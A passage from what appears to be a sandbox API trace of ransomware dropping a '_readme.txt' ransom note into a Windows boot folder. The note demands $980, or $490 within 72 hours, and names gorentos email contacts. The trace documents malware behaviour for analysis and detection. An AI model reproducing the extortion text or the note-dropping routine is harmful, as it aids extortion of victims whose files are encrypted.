files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" [0066.381] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg", lpString2="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" [0066.381] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3248800 [0066.381] CreateFileW (lpFileName="C:\\Boot\\de-DE\\_readme.txt" (normalized: "c:\\boot\\de-de\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0066.382] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x3178dd8 [0066.382] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x85c) returned 0x329cf20 [0066.382] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x329cf20, cbMultiByte=2140, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 1117 [0066.382] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3177118 [0066.382] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x329cf20 | out: hHeap=0x5d0000) returned 1 [0066.382] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.382] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned 1116 [0066.382] WriteFile (in: hFile=0x5c4, lpBuffer=0x3177118*, nNumberOfBytesToWrite=0x45c, lpNumberOfBytesWritten=0x38cfb64, lpOverlapped=0x0 | out: lpBuffer=0x3177118*, lpNumberOfBytesWritten=0x38cfb64*=0x45c, lpOverlapped=0x0) returned 1 [0066.383] CloseHandle (hObject=0x5c4) returned 1 [0066.383] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.383] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3248800 | out: hHeap=0x5d0000) returned 1 [0066.383] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0066.383] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.383] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.383] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb318dc10, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb318dc10, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.383] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.383] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb318dc10, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb318dc10, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.383] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0066.383] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb318dc10, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb318dc10, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb318dc10, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.383] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb318dc10, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb318dc10, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb318dc10, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.384] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.384] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.384] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32602f8 | out: hHeap=0x5d0000) returned 1 [0066.384] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602f8 [0066.384] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.384] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.384] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.384] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.384] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.384] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.384] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.384] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.384] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.384] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.384] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.384] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.384] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.384] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.384] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.384] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.384] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.384] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.384] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.384] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.384] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.384] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.384] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.384] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.384] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.384] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.384] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.385] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.385] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.385] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.385] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.385] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.385] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.385] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.385] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.385] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.385] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.385] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.385] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.385] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.385] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.385] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.385] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.385] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.385] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.385] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.385] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.385] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.385] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.385] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.385] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.385] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.385] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.385] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.385] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.385] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.385] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.385] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.386] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.386] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.386] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.386] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.386] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.386] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.386] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.386] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.386] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.386] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.386] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.386] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.386] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.386] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.386] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.386] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.386] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.386] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.386] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.386] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.386] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.386] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.386] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.386] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.386] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.386] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.386] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.386] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.386] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.386] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.386] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.386] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.386] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.386] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.387] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.387] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.387] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.387] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.387] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.387] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.387] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.387] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.387] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.387] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.387] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.387] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.387] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.387] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.387] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.387] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.387] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.387] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.387] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.387] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.387] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.387] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.387] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.387] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.387] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.387] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.387] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.387] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.387] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.387] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.387] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.387] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.387] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.387] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.388] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.388] HeapFree (in: 